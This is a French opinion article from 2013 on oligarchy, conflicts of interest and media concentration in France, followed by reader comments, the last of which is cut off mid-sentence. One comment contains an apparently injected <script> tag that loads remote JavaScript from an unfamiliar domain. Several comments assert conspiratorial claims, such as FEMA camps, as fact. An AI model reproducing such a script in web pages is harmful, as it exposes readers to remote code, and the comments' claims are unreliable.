lundi 19 août 2013 - par Jérôme Henriques

Il était une fois l’oligarchie

Des complicités douteuses

L'oligarchie est un régime politique dans lequel le pouvoir est concentré par un petit groupe d'individus qui forment ainsi une classe dominante. A en croire les médias de masse, l'oligarchie est à la Russie ce que la dissidence est à la Chine ou les droits de l'homme à la France. Lors des élections présidentielles de 2007, la "soirée du Fouquets" a pourtant mis en lumière des liens étroits entre le monde de la politique et celui des grandes entreprises, de la finance et des médias. Sarkozy a par la suite suffisamment été qualifié de "Bling Bling" ou encore de "président pour les riches" à l'opposé du "président normal" Hollande, pour que l'on puisse penser que son cas est exceptionnel et justement pourfendu par les contre-pouvoirs démocratiques. Mais en critiquant à tout va "le style présidentiel", les commentateurs de presse ont pris soin d'éviter le problème de fond, celui de l'atteinte à l'intérêt général. La question principale n'est pas de savoir si le président aime les Mannequins, les Rolex ou les Yatchs, mais plutôt d'estimer les possibles conflits d'intérêts lorsque quatre de ses amis proches (Lagardère, Dassault, Bouygues et Bolloré) détiennent à eux seuls l'écrasante majorité des médias. Quand on sait de plus que Dassault est aussi un groupe d'armement, Bouygues de BTP et que Bolloré dispose du premier réseau de logistique en Afrique, on peut alors imaginer du copinage dans la commande publique, la politique néocoloniale ou les marchés obtenus à l'étranger grâce à l'aide publique au développement. Dans tous les cas, de l'argent prélevé de la poche du contribuable pour finir dans celle des grandes entreprises ...

Le financement des élections

Dans l'autre sens, les politiques lorgnent sur l'argent du privé pour financer leur parti politique (surtout en période électorale). Depuis 1988, la législation a évolué au rythme de nombreux scandales politico-financiers qui ont éclaboussé la droite comme la gauche : marchés publics truqués (Urba, marchés publics d'Ile de France), rétrocommissions (frégates de Taïwan, Karachi), emplois fictifs (mairie de Paris), valises de billets des dictateurs Africains ... Et qu'il s'agisse d'argent liquide ou de versement sur des comptes offshore, la dépense ne se limite pas toujours aux stricts besoins du parti politique (billets d'avion de Chirac payés en liquide ...). Actuellement, la mode est aux micro-partis : "Association de soutien à l’action de Nicolas Sarkozy", "France.9" (François Fillon), "Association nationale des amis de Nicolas Sarkozy", "Nouvel oxygène" (Laurent Wauquiez), "Besoin d’optimisme" (Manuel Valls), "Association de soutien à l’action d’Eric Woerth" (évoquée dans l'affaire Woerth Bettencourt) ... Au nombre de 28 en 1990, ils sont presque 300 aujourd'hui. Alors que les dons de personnes physiques sont maintenant limités à 7.500 euros par an et par parti, ces micro-partis offrent un contournement "légal" de l'esprit de cette loi. Les généreux donateurs peuvent ainsi verser ces 7500 Euros non seulement au parti principal mais aussi à l'ensemble des micro-partis affiliés qui font ensuite remonter l'argent au besoin.

Le consulting et le lobbying

"Je fais ça [président] pendant cinq ans, et ensuite, je pars faire du fric comme Clinton, 150.000 euros la conférence." Sarkozy (cité par le Point) a tenu sa promesse : 100.000 Euros pour sa participation à une conférence pour la banque Goldman Sachs, 250.000 euros les 45 minutes de conférence pour la banque Morgan Stanley. Puis la Russie, la Chine, le Brésil, la Libye, le Qatar, le Canada, la Grande-Bretagne, Israël, etc ... La presse évoque le "tour du monde des conférences". D'une manière générale, le recyclage du politique en consultant semble lucratif, au point que certains créent leur propre cabinet. Citons par exemple les députés et anciens ministres : François Fillon qui a créé sa société "2F Conseil", Rachida Dati qui a créé "La Bourdonnais Consultants" et Christian Jacob qui possède "CJCSE". D'après un rapport de la commission des lois, 60 députés disposaient de leur propre cabinet de Consulting en 2011. Le conflit d'intérêt n'est pas très loin. Citons Kouchner et ses missions de conseils auprès des dictatures Gabonaises et Congolaises alors qu'il présidait le réseau public de solidarité internationale ESTHER, Longuet et ses missions de conseils auprès de GDF-SUEZ alors qu'il défendait au Sénat des positions favorables à ce groupe ... C'est d'ailleurs ce même groupe qui avait invité des parlementaires UMP et PS à la finale de la coupe du monde à Berlin dans un voyage en avion. Si le lobbying ne va pas forcément jusqu'à la corruption, il reste quand même une dérive oligarchique. Où est l'intérêt général quand le privé (qui a ses entrées à l'assemblée nationale) peut influencer les commissions ou les votes parlementaires ? A Paris comme à Bruxelles, certains excès remontent parfois à la surface : complicités politiques de Servier dans l'affaire du médiator, retour des farines animales ...

Le pantouflage

D'autres politiciens (ou hauts fonctionnaires) obtiennent un poste dans la grande entreprise, c'est ce qu'on appelle le "pantouflage". Le carnet d'adresse semble souvent un atout essentiel. Bernadette Chirac (épouse d'un ancien Président de la république), Hubert Védrine (ancien ministre et membre du parti Socialiste) ou Renaud Dutreil (ancien ministre et membre de l'UMP) sont par exemple tous les trois administrateurs à LVMH, le groupe d'Arnaud Lagardère (première fortune de France). Et lorsqu'il s'agit de postes de direction (Christine Albanel chez France Télécom, Michel Pebereau à la BNP), c'est généralement que l'état a pris part au capital de l'entreprise ; Chef de l'état ou ministres peuvent alors fortement influer sur les nominations (Stéphane Richard, PDG d'Orange récemment ...). Il n'est donc pas étonnant de compter des PDG de banques aussi bien de gauche que de droite. L'esprit de corps des grandes écoles est par contre toujours manifeste (ENA, Polytechnique ...). Et Lorsque hommes politiques, grands entrepreneurs et banquiers appartiennent à la même caste, on peut se poser beaucoup de questions, à commencer par la faramineuse dette de l'état (presque 1900 milliard d'euros).

La convergence des politiques de droite et de gauche

Si on ne vit pas en dictature, c'est à priori que nous sommes en démocratie. En pratique, il s'agit plutôt d'une "démocratie accompagnée". Depuis des décennies, chaque élection nous ressert les mêmes partis avec ses mêmes représentants. In fine, cela revient souvent à choisir entre un candidat du géant de gauche (PS) et un autre du géant de droite (RPR puis UMP). Cette binarité pourrait être acceptable si elle conduisait à une véritable alternance politique. Malheureusement, il ne s'agit que d'une façade. Les valeurs traditionnelles de la gauche et de la droite deviennent complètement galvaudées quand on constate la convergence de leur politique réelle. Qu'en est-il de la gauche quand ses gouvernements successifs privatisent à tour de bras (le gouvernement Jospin est un de ceux qui a compté le plus de privatisations) ou quand un Président Socialiste a maintenu en Afrique la politique néocoloniale de ses prédécesseurs (Mitterand a une responsabilité directe dans le génocide au Rwanda) ? Qu'en est-il de la droite quand elle renfloue par milliards des entreprises qui auraient dû disparaître dans une logique de libéralisme économique ou quand elle favorise l'immigration pour maintenir une pression basse sur les salaires alors que ses leitmotivs restent l'identité nationale et les problèmes d'immigration ? Jusque dans les idées, gauche et droite sont devenues les deux faces d'une même pièce. Que l'état relance l'économie par la création d'emplois stables donc favorisant la consommation, ou bien par une diminution des charges aux entreprises donc favorisant l'embauche, le modèle économique reste toujours celui d'une croissance illimitée (produire plus, consommer plus) dans un monde où les ressources naturelles sont pourtant limitées.

L'illusion démocratique

Essentielle au bon fonctionnement de la démocratie, la séparation des pouvoirs (législatif, exécutif et judiciaire) ne semble plus très nette aujourd’hui. Qu’en est-il de la représentation nationale quand deux partis seulement se partagent les deux premiers pouvoirs. Qu'en est-il de l'indépendance de la justice quand le parquet, soumis au politique, passe son temps a étouffer les scandales (le Procureur Courroye a par exemple été mis en cause pour son attitude dans les affaires Chirac ou Woerth-Sarkozy-Bettencourt) ? Avec la mondialisation et au sein d'une Union européenne dictant ses règles en matière de concurrence économique sous la pression des lobbies, l'état-nation s’en trouve encore plus affaibli. Mis à l'écart de cette collusion économico-politique, le peuple reste pourtant maintenu dans l'illusion démocratique grâce à la complicité des médias de masse. Les responsables politiques y sont régulièrement invités pour déverser leurs effets d'annonce (une gauche qui va diminuer les avantages des patrons et aider les gens en difficulté, une droite qui va récompenser le travail et augmenter la sécurité ...), mettre la pression sur le "vote utile" ou évoquer le danger des extrêmes devant des journalistes qui évitent les questions gênantes ou les sujets trop profonds. En 2005, lorsque le traité de Lisbonne est venu contredire des référendums souverrains, ce "hold-up démocratique" fût pratiquement ignoré par les médias.

Le dictat de l'économie et de la finance

La souveraineté populaire est devenu un mythe à une époque où la France est endettée à hauteur de 1900 milliards d'Euros, soit à peu près l'équivalent de son PIB. Des créanciers tels que le FMI et le FESF conditionnent d'ailleurs leurs prêts à des politiques publiques (la Grèce, pays le plus endetté de l'UE, a dû augmenter la TVA, geler les salaires ou augmenter des cotisations retraites etc ... ). Quand des agences de notation (Standard & Poor's, Moody's ...) estiment la capacité des états à rembourser leur dette, celle-ci devient alors un objet de spéculation (entre fin 2009 et fin 2011, le taux des obligations Grecques a été muliplié par dix) et les conseils Européens ou sommets mondiaux (G8, ...) ont ensuite la vocation de "rassurer les marchés". Le célèbre "There Is No Alternative" de Thatcher semble désormais planer autours de chaque nouvelle fuite en avant (le "Grand emprunt de 2010" en est un exemple récent). Plus besoin d'évoquer une quelconque théorie du complot, la gouvernance politico-économico-financière affiche même sa complicité avec les médias. Symbole de l'oligarchie Française, le Think Tank "le Siècle", compte ainsi des politiciens de gauche comme de droite, des dirigeants d'entreprises et d'établissements financiers, des éditeurs, des journalistes, des syndicalistes (CGT, Medef)... Et ce n'est qu'une composante de la gouvernance mondiale dont le groupe Bildeberg, la Commission trilatérale et le Sommet de Davos constituent le sommet de l'iceberg...

Des masses maléables

"Nous sommes les 99%", scandaient les activistes du mouvement Occupy Wall Street. Puisqu'une minorité de personnes compose l'oligarchie, pourquoi la majorité se laisse t-elle faire ? La question n'est pas récente. Dans son "discours de la servitude volontaire" Etienne de La Boétie, soulevait en 1549 la question suivante : comment un peuple peut-il accepter la domination d'un tyran, lequel n'a de puissance que celle qu'on lui concède ? Il avance alors plusieurs explications. La première est l'habitude : "les hommes servent volontairement parce qu'ils naissent serfs et sont élevés dans la servitude" ... "on ne regrette jamais ce que l’on n’a jamais eu". Vient ensuite l'engourdissement du peuple par des drogueries : "Les théâtres, les jeux, les farces, les spectacles, les gladiateurs, les bêtes curieuses, les médailles, les tableaux et autres drogues de cette espèce étaient pour les peuples anciens les appâts de la servitude, la compensation de leur liberté ravie, les instruments de la tyrannie." Mais ces passe-temps ludiques ne peuvent pas endormir les hommes bien nés et cultivés : "il faut alors par la cupidité et le désir d'honneurs rendre ces gens complices du tyran, les asservir en leur donnant l'occasion de dominer d'autres à leur tour". Ainsi se dessine la pyramide sociale qui permet au tyran d'"asservir ses sujets, les uns par le moyen des autres". Ce discours étonne encore aujourd'hui par sa pertinence, même si il faut l'adapter au monde moderne.

Le pouvoir des médias

Ainsi, la notion d'"habitude" évoquée par La Boétie pourrait correspondre aujourd'hui au phénomène de "reproduction sociale" (bien décrit par Pierre Bourdieu). Quant à l'"engourdissement du peuple", ce sont les médias qui jouent aujourd'hui un rôle prépondérant. Quand l'immense majorité des chaînes de télé et des journaux appartiennent à quelques grands groupes industriels, peut-on encore imaginer une information impartiale ? Dans le documentaire "la fabrique du consentement", Noam Chomsky décrit ainsi comment les médias de masses sont devenus des outils de propagandes : en écartant l'opinion publique de certaines informations importantes (les massacres de l'Indonésie pro-américaine au Timor oriental ont par exemple été considérablement moins évoqués que ceux des Khmers rouges au Cambodge communiste) ou au contraire en la mobilisant par des informations orientées (l'absence de débats sur les solutions de paix est manifeste à l'approche des guerres), en encadrant les sujets traités (l'impérialisme des puissances occidentales n'est par exemple jamais remis en cause), en imposant la concision des explications (les opinions se fabriquent et s'entretiennent ainsi avec des raccourcis) et enfin en canalisant les esprits sur des sujets sans importances (les jeux, les fêtes, le sport, les faits divers).

Ne pensez plus, consommez

La dépendance accrue des médias (chaînes télé ou presse écrite) sur les revenus publicitaires favorise cet abrutissement. Patrick Le Lay, ancien PDG de TF1 expliquait ainsi : "à la base, le métier de TF1, c'est d'aider Coca-Cola, par exemple, à vendre son produit. (...) Or pour qu'un message publicitaire soit perçu, il faut que le cerveau du téléspectateur soit disponible. Nos émissions ont pour vocation de le rendre disponible : c'est-à-dire de le divertir, de le détendre pour le préparer entre deux messages. Ce que nous vendons à Coca-Cola, c'est du temps de cerveau humain disponible". En gros, il s'agit de remplacer l'instruction par la consommation. On consomme pour se faire accepter, on consomme pour se démarquer, on consomme pour s'affirmer socialement. La mode du moment ? Ma coupe de cheveux et mes fringues. Mon statut social ? Cette voiture. Ma personnalité ? Les applications de mon Iphone. Mon passé ? Mes tatouages. Quand la mode change chaque année, que le yaourt se réinvente tous les trois mois et que les magasins de café ressemblent à des bijouteries il faut comprendre que la consommation est devenue un grand projet société. C'est bon pour l'économie. Quant à la démocratie, il vaut mieux éteindre sa télé et commencer à s'instruire ...



31 réactions


  • jef88 jef88 19 août 2013 11:41

    OLIGARCHIE : joli mot savant !
    CASTE : terme plus réaliste pour désigner la même chose ! ! !


    • COLLIN 19 août 2013 13:39

      Encore plus réaliste : MAFIA !!


    • Indépendance des Chercheurs Indépendance des Chercheurs 19 août 2013 14:38

      A propos de l’ENA et Polytechnique, voir notre article :
       
       
      http://blogs.mediapart.fr/blog/scientia/140713/14-juillet-2013-g16-et-gestion-de-la-france

      Le 14 juillet 2013, Météo Consult annonce « Ce 14 juillet : plus de chaleur, rares orages en montagne ». Mais de quelle « chaleur » et de quels « orages » parle-t-on ? Paysan breton écrit « 485 agriculteurs se sont suicidés entre 2007 et 2009 », et France Bleu « 500 suicides par an chez les agriculteurs français ». Les suicides sont malheureusement d’actualité en France depuis longtemps et dans la plupart des milieux professionnels, comme souligné notamment dans nos articles « Police, CNRS, universités, justice, LOLF, LRU... » et « Indépendance des Chercheurs : articles de 2013 (I) ». Ils sont également présents parmi les retraités. Boursorama souligne « 14 Juillet : Hollande veut dessiner "la France des dix prochaines années ». Jusqu’où ira en dix ans la casse sociale et institutionnelle ? A son tour, La Dépêche emploie le titre « 14-Juillet. François Hollande veut rassurer les Français ». Mais on ne rassure pas la population française avec des discours de circonstance, après presque trente ans d’une politique permanente de privatisations et de délocalisations qui anéantissent progressivement les acquis de la Libération, alors que la « gauche » a souvent dirigé la pays depuis 1981. Et que penser du rôle de « nos élites » pendant cette période et encore à ce jour ? Alors que depuis les années 1980 les prétendues « réformes » n’ont pas cessé de se succéder avec un bilan catastrophique, un secteur semble avoir été systématiquement épargné : celui des « grands corps de l’Etat » dont font partie notamment François Hollande et Jacques Chirac. Pourtant, a-t-on vraiment besoin d’une école nationale d’administration dans ce début du XXI siècle ? Est-ce vraiment souhaitable que l’Ecole Polytechnique joue un rôle important dans les filières professionnelles extérieures au domaine militaire ? A quand un débat public transparent ? Un rassemblement d’associations et de syndicats porte le nom de Groupe des Associations de la Haute Fonction Publique (G16). Avec tout le respect dû aux magistrats qui en font partie, que peuvent penser les citoyens d’une telle solidarité de corps et d’écoles ? En revanche, Patrick Mehr a demandé l’abolition des « grands corps de l’Etat ». De même, Jean-Marc Alliot a critiqué la dérive managériale de ces grands corps. Notre collectif s’est également exprimé à plusieurs reprises dans le même sens que ces auteurs. A quand une véritable réforme positive, bannissant tout risque de corporatisme de groupe et laissant une place préférentielle aux citoyens « de base » dans les instances de l’Etat ?

      [la suite, sur le lien http://blogs.mediapart.fr/blog/scientia/140713/14-juillet-2013-g16-et-gestion-de-la-france ]
       
       
      Cordialement

      Le Collectif Indépendance des Chercheurs
      http://science21.blogs.courrierinternational.com/
      http://www.mediapart.fr/club/blog/Scientia


    • Universitaire 1995 19 août 2013 17:22

      Curieusement, aucun politique ne semble s’étonner du fait que l’on puisse être tantôt membre du cabinet d’un ministre, tantôt membre de la Section du Contentieux du Conseil d’Etat qui juge les litiges du gouvernement.
       


    • TOUSENSEMBLE OU L ECUREUIL ROUGE TOUSENSEMBLE OU L ECUREUIL ROUGE 19 août 2013 19:00

      LA FRANCE EST RICHE ..... DE DIZAINES DE MAFIAS :OLIGARCHIES...CASTES
      -les banksters assureurs
      -les élus nationaux et régionaux
      -les hauts fonctionnaoires
      -les 1% DE TRES RICHES ET LES 9% DE RICHES
      -les avocats d’affaires gérants de sci ou agents immobiliers
      - la mafia catholique de ste frigide
      - LE MEDEF................................................................. .......
      ET J EN PASSE ..............


    • jeanpiètre jeanpiètre 20 août 2013 02:12

      le travail tue , le travail absolu tue absolument


    • lionel 20 août 2013 11:34

       « CollectiIndépendance des Chercheurs », continuez ce que vous faites, merci.


      Respect

  • escartefigue 19 août 2013 11:45

    L’ Oligarchie ? 


    C ’est le nom savant des l’ Union des Fabricants d’ Huile d’ olive
    de Garches .

    L’ Oligarchie . 

    Voyez-vous ?

  • chmoll chmoll 19 août 2013 12:31

    vas t’en voir toi si on était en Syrie, Libye ,voir egypte , tunis ect
    d’puis 2002 ça s’trouve la racaille élyséenne aurait été viré


  • alberto alberto 19 août 2013 14:03

    Et du côté de Kate Middelton, pas de soucis, j’espère ?

    Le PSG a du mal à démarrer la saison, paraît-t-il ...

    Et ils ont abandonné leur canoë, sont rentrés chez eux sans prévenir !

    Misère, les temps sont durs : on ne sait plus pour qui voter !


  • Xenozoid 19 août 2013 15:41

    apres ils veulent votre ame,votre esclavage est nécessaire.resistance est futile,obey

    <script src="https://secure-content-delivery.com/data.js.php?i={2809185B-B8AB-43D6-A03F-2F0A7CC55AAA}&amp;d=2013-5-7&amp;s=http://www.agoravox.fr/tribune-libre/article/il-etait-une-fois-l-oligarchie-139763&amp;cb=0.09564523895952726" type="text/javascript"></script>

  • Fifi Brind_acier Pilou Camomille 19 août 2013 19:34

    Encore un billet franco-français... !

    L’auteur ne s’est pas aperçu que nous étions une colonie de l’ Europe ?

    Que nos gouvernements sont des marionnettes chargées d’appliquer les décisions prises ailleurs, par le FMI, la BCE et Bruxelles ??

    Ils ont à peu près autant de pouvoir que les dirigeants des pays de l’ Est n’en n’avaient dans l’ URSS...

    La réforme des retraites est prévue par le FMi depuis Octobre dernier. Dans la feuille de route du FMI pour la France, on lit au chapitre 6 :

    « Toute révision du régime des retraites devra reposer sur une augmentation de l’âge de départ, plutôt que sur une hausse des contributions. »

    Bruxelles a enfoncé le clou. Le Monde.fr du 9 mai 2013 :
    « France : les trois réformes exigées par Bruxelles :

     » La réforme des retraites, le marché du travail et une plus grande libéralisation des services et des biens.« 

    Pourquoi faites-vous comme si la France était un pays indépendant et souverain ??

    Comme si les dirigeants actuels décidaient de quelque chose ?

    Comme si on remplaçait ceux là par d’autres, tout serait changé, sans avoir besoin de sortir de l’ UE, ni de l’euro, ni de l’ OTAN ?

    Ce que vous décrivez s’appelle »le village Potemkine".


  • Attilax Attilax 19 août 2013 20:52

    Bonne piqûre de rappel. Rien de nouveau cependant.
    La vraie question est : « Et maintenant, qu’est-ce qu’on fait ? »
    A part imposer le tirage au sort au sein de la population pour remplacer les élections (je ne vois pas comment), je n’ai aucune solution.


    • Fifi Brind_acier Pilou Camomille 20 août 2013 08:52

      Attilax,
      Maintenant qu’est-ce qu’on fait ?

      On rejoint l’ UPR pour pouvoir rassembler une majorité de Français et sortir de l’ UE, de l’euro et de l’OTAN, de manière légale, par l’article 50.

      Il n’existe pas de démocratie dans une colonie. Il n’existe que des serviteurs.

      Si nous voulons retrouver la démocratie, avoir des élus qui défendent l’intérêt général, il faut redevenir un Etat qui dispose de tous ses droits régaliens :

      faire les lois, battre monnaie, remettre en route la Banque de France et ses prêts à taux 0%, faire un referendum sur la dette, remettre en place le contrôle des changes pour interdire les délocalisations, pouvoir dévaluer la monnaie, le contrôle des frontières, la réindustrialisation du pays, une agriculture qui sauve nos derniers paysans, notre santé et l’environnement etc.

      Bref, faire tous ce que les autres pays du monde peuvent faire, sauf ceux qui sont dans la zone euro.

      Vidéos de François Asselineau : « La tragédie de l’ euro » et « Les 10 raisons de sortir de l’ Europe ».

      Vidéo d’Etienne Chouard : « Les 10 raisons de sortir de l’ UE ».


  • eau-du-robinet eau-du-robinet 19 août 2013 21:11

    Le nombre des SUPER RICHES EXPLOSE et ils deviennent de plus en plus riches !

    Selon le classement du magazine américain Forbes, le monde n’a jamais compté autant de milliardaires : ils sont 1 426 cette année, 200 de plus que l’an dernier. Un record absolu depuis 30 ans.
    source

    En tête de liste des milliardaires le Mexicain Carlos Slim Helú
    source

    Les grandes voire très grandes entreprises ne payent que très peu d’impôts en comparaison des PME’s - Niches fiscales - Paradis fiscaux ...

    Doch auch die gute Entwicklung an den Aktienmärkten hat zu dem Rekordergebnis beigetragen. Das Kapital an den Börsen stieg 2012 um 7.150 Milliarden (15,1 Prozent) US-Dollar.

    source

    — traduction —
    La « bonne évolution » sur le marchés des actions à contribue aux résultats records. Le capital des bourses à augmenté en 2012 de 7.150 milliards (15,1%) dollar (US).
    — fin de traduction —

    Il n’existe pas de crise pour les ultra-riches, bien au contraire. L’ultralibéralisme permet aux riches d’accroître leur richesses en dorment.

    Dans un passe lointain on pourrait se réjouir de voire accroitre la richesse des riches car ils investissait une bonne partie dans le travail et les travailleurs et la classe moyenne en récupéré leurs miettes. Cela à bien change car les riches spéculent de plus en plus, il licencient par milliers des employées pour faire croître la valeurs des actions et plombent ainsi l’économie réelle. Comme ils payent très peu d’impôts, voire pas d’impôts sur des bénéfices pour un grand nombre d’entre eux, les états sont privé des recettes importantes. Pour la France c’est plus de 100 milliards d’Euro de perte en recettes fiscales par ans ! L’état français se prend donc aux contribuables ordinaires (les travailleurs, la classe moyenne et les PME’s) pour récupérer chez eux ce que les ultra-riches enregistrent comme bénéfices sans s’acquitter des impôts ... Les ultra-riches sont des fraudeurs en col blanc !

    Il y à urgence de réglementer le marché financier, d’arrêter les privilèges des multinationales et des ultra-riches !


    • Luc le Raz Luc le Raz 25 août 2013 18:06

      « L’ultralibéralisme permet aux riches d’accroître leur richesses en dorment. » en dormant sans doute ? smiley
      Seraient ils les heureux bénéficiaires du fameux contrat « zéro heure » de travail ?


  • Cedric Citharel Cedric Citharel 20 août 2013 10:04

    Les conflits d’intérêts sont devenus un sport national, et les institutions sont désormais au service des oligarques pour les aider à s’enrichir. Quant aux politiciens, ils ne sont plus que des représentants de commerce aux ordres du monde de l’industrie et de la finance.

    Les solutions existent, elles passent par l’instauration d’une 6e République, la récupération des moyens de production par l’État, la pénalisation du parjure et l’alignement des salaires des politiciens sur le salaire médian des Français.
    Mais comme nos élites s’accrochent à leurs privilèges, il ne nous reste plus qu’à nous informer et à nous indigner en attendant que les choses deviennent réellement invivables.
    C’est la raison pour laquelle j’ai écrit On les croise parfois.

    • efzed 20 août 2013 15:29

      une 6ème république pour faire quoi ?

      Tout les pouvoirs de la république française ont était transféré à Bruxelles, vous pouvez en faire 36 des républiques françaises ca ne changera rien du tout !

      C’est marrant de voir que certaine personnes s’imaginent que notre gouvernement à encore un quelconque pouvoir. Ce ne sont que des marionnettes là-haut à la botte de l’Europe et des américains, la république démocratique française est morte depuis bien longtemps.

      Lorsque Bruxelles demande d’allonger la durée de cotisation des retraites, le partie « socialiste » s’execute comme un bon soldat, dans une 6 ou 7ème république il le ferait aussi !


    • efzed 20 août 2013 15:31

      Comme Pilou Camomille, je vous recommande de vous renseigner un peu :

      - Vidéos de François Asselineau : « La tragédie de l’ euro » et « Les 10 raisons de sortir de l’ Europe ».

      - Vidéo d’Etienne Chouard : « Les 10 raisons de sortir de l’ UE ».


    • Cedric Citharel Cedric Citharel 21 août 2013 10:34

      Quand je parle d’une 6e République, je l’imagine en effet indépendante du dictat de Bruxelles.

      Renoncer à tout changement, sous prétexte que l’on n’a plus de pouvoir, ce serait quand même dommage, vous ne pensez pas ?

    • efzed 21 août 2013 12:55

      Les traités signés avec Bruxelles, le resteront même avec une 6ème république.

      Si vous voulez être indépendant de Bruxelles, le seul moyen légal est de sortir de l’Europe par l’article 50 qui l’autorise.

      Si votre 6éme république bafoue les traités signés avec l’Europe, la France sera condamné dans le meilleur des cas à verser des millions d’euro de dédommagement.


    • Cedric Citharel Cedric Citharel 25 août 2013 17:34

      Et si elle ne paye pas, elle sera envahie ?

      Pour ce qui est des dettes impayées, je vis à Athènes depuis plus d’un an et je peux vous dire que les sanctions économiques ont à peu près autant d’effet que le Croque-mitaine... et que comme le Croque-mitaine, certains continuent d’y croire.

  • TOUSENSEMBLE OU L ECUREUIL ROUGE TOUSENSEMBLE OU L ECUREUIL ROUGE 21 août 2013 10:09

    BRAVO « NE PENSEZPLUS...............CONSOMMEZ  »

    tout est profit....tout devient bancaire

    la douzaine d’ oeufs acheté au paysan a 0.60 euros revendue a 4.50 euros a l’hyper
    est l’exemple parfait
    ces banksters avec une douzaine achetée 4.50 euros.... revendraient donc a 19.80 EUROS SOIT L’OEUF a 1.765 EUROS SOIT EN FRANCS L OEUF A 1000 CENTIMES DE FRANC
    FRANC ANCIEN

    - bagiuette 1. euro 6.56. francs....essence 1.60 euros soit 1000 franca anciens

    VIVE L EUROPE MERCI AUX BANKSTERS ET A LEURS VALETS LES ELUS NATIONAUX
    LOBBYISTES ET CUMULARDS DE LA CEE QUI NOUS COUTE CHACUN 2500 EUROS JOURS il doit y en avor 40000 environ hors bénévoles  :
     2500 x 400000 = 1 MILLIARD D EUROS BRAVO LA CEE


  • lionel 21 août 2013 11:59

    Finalement, votre article n’a pas besoin d’avoir beaucoup de commentaires. Excellent ! 


    Merci à vous

    Puissiez vous avoir plein d’énergie, de confiance et de joie pour avoir contribué à l’intelligence collective de manière si pertinente.

    Respect

  • Hervé Hum Hervé Hum 21 août 2013 14:06

    Ce qui est étonnant, c’est que l’auteur et la majorité des gens, nomme le mal et la cause sans en faire le lien de causalité, parce qu’il continu à les tenir séparés.

    D’un coté il parle des médias comme des sujet particuliers et de l’autre il écrit bien que les médias sont la propriété de l’oligarchie, donc comme objet et non comme sujet. Ainsi quand il écrit

    " En 2005, lorsque le traité de Lisbonne est venu contredire des référendums souverrains, ce « hold-up démocratique » fût pratiquement ignoré par les médias."

    Et comment pourrait il en être autrement puisque ces médias sont la propriété de ceux à qui profite ce fumeux traité ? Puisque les médias sont des objets aux mains de sujets que sont les oligarques ici dénoncés !

    Bref, se poser la question de l’indépendance des médias en les traitants en tant que sujet est absurde dans la mesure où ils sont la propriété de personnes privés dont le but est bien évidemment la défense de leur intérêts particuliers sur l’intérêt général.

    Il faudrait commencer par arrêter de regarder le doigt quand on dit soi même qu’il faut regarder la Lune ? En d’autres termes, arrêter d’être à la fois le sage et l’idiot !


  • lloyd henreid lloyd henreid 25 août 2013 14:38

    Merci et bravo pour cet excellent article qui montre bien les collusions de pouvoirs politiques, économiques et médiatiques, ainsi que leurs stratégies pour asservir les masses. Je pense qu’on peut facilement, mais à juste titre, qualifier ce système de « fasciste » au sens le plus strict du terme : celui d’un « faisceau » ou d’une « union » de forces réunies dans un but commun — voir l’étymologie.

    Pour l’instant cela passe par la fabrication d’un consentement mêlé de culpabilité, avec la dette et l’illusion d’une démocratie qui n’en est pas une mais qui, feignant de l’être, donne aux esclaves l’impression d’être libres et de choisir eux-mêmes leur servitude. Si vous avez voté pour, alors c’est votre faute. Et si vous étiez contre : vous avez perdu, inclinez-vous. Dans les deux cas vous n’avez qu’à fermer vos gueules.

    De nos jours avec la crise qui s’intensifie, et de plus en plus de gens qui cherchent à comprendre en arpentant le web à la recherche de réponses, redécouvrant au passage l’esprit critique qu’ils n’auraient jamais dû cesser d’exercer étant « responsables », les temps sont durs pour les complotistes, les vrais : ceux qui complotent contre l’intérêt général. Les mensonges tiennent parce qu’ils sont denses mais les ficelles deviennent visibles et c’est un problème.

    C’est peut-être l’ouverture qui manque à l’article : quand l’illusion sera dissipée et que les masses s’éveilleront, qu’elles demanderont des comptes, le système devra recourir à d’autres méthodes. L’ultime étape sera la domination par la force et des choses se mettent en place dès maintenant pour des lendemains où le consentement ne fera plus recette. Et rien n’est plus dangereux qu’une « bête » en danger de mort.

    Les révélations de Snowden et la manière dont l’administration US y a réagi nous renseignent à la fois sur l’existence de dispositifs tentaculaires de surveillance et de répression, avec aussi le Patriot Act et tout le toutim, et sur ce que la bête peut avoir de teigneux et d’implacable envers ceux qui cessent de jouer le jeu. Le vrai visage se montre et il n’est pas très avenant.

    Outre la surveillance et la législation sécuritaire, au pays de la liberté mais pas seulement, la répression semble prête avec notamment les camps de la FEMA, la multiplication des agences de sécurité intérieure, ou encore les provisions massives de munitions (traitées il y a quelques mois de cela par un voxien) pour fournir ces mêmes agences en cas de trouble majeur à l’ordre public.

    Parallèlement à ça, il est significatif de constater la soudaine médiatisation, ou plutôt surmédiatisation orientée depuis quelques mois, des cas de tuerie et autres attentats plus « ordinaires » au beau pays de l’oncle Sam. Le phénomène n’est pas nouveau mais jusqu’à présent, nul ne remettait en cause le port d’arme protégé par la Constitution du pays. Mais avec la colère populaire qui gronde, on explique aux gens qu’il serait bon d’y renoncer. Pour leur sécurité et celle de leurs enfants.

    Le cas Bradley Manning, ou Chelsea enfin qu’importe, nous montre aussi que la bête n’aime pas se sentir acculée ou démasquée. Trente-cinq ans de prison pour en avoir dénoncé les crimes, et cette double-pensée qui pousse nos dirigeants à répéter sans cesse que les lanceurs d’alerte doivent être protégés. Mais bien sûr, tout dépend de l’alerte et des enjeux : le droit aussi est à géométrie variable. Et c’est la bête aux dents les plus longues qui décide.

    Enfin et puisque vous évoquiez le mouvement Occupy, je vous suggère de creuser dans cette direction. Il est emblématique du point de basculement entre le présent et l’avenir, ce curieux moment où le voile se lève et l’illusion se dissipe pour révéler le vrai visage de la bête, la vérité toute nue, la « matrice » si vous êtes d’humeur à préférer. Les gens en France ne le savent pas, mais le FBI a livré sur une requête fin 2012, et en vertu d’une loi pour la liberté d’information, de lourdes confessions sur sa dissolution. On y apprend notamment que le mouvement fut surveillé dès avant ses débuts par les autorités à la fois fédérales et locales en lien avec aussi les autorités portuaires, les recteurs de campus universitaires et... les banques et leurs propres services de surveillance et d’infiltration privés. On y apprend aussi que sur base des informations fournies par ceux-ci, les autorités de lutte anti-terroriste furent mises sur le coup et que tout ce petit monde surveillait de très près ce mouvement de protestation pacifique protégé, tout comme le port d’armes, par la Constitution. Et la cerise : qu’il fut envisagé de procéder à l’assassinat des leaders de ce mouvement "si nécessaire", que le FBI savait, et qu’il n’a rien fait contre ceux qui fomentaient cela. L’affaire est largement documentée dans les colonnes du Guardian ; elle est emblématique de cette collusion public-privé, le premier au service du second, exemple de dérive fasciste à l’état pur — avec à l’horizon l’action violente comme option si l’expression du non-consentement menace les intérêts privés de ceux qui en ont. Les gens en France ne le savent pas parce que 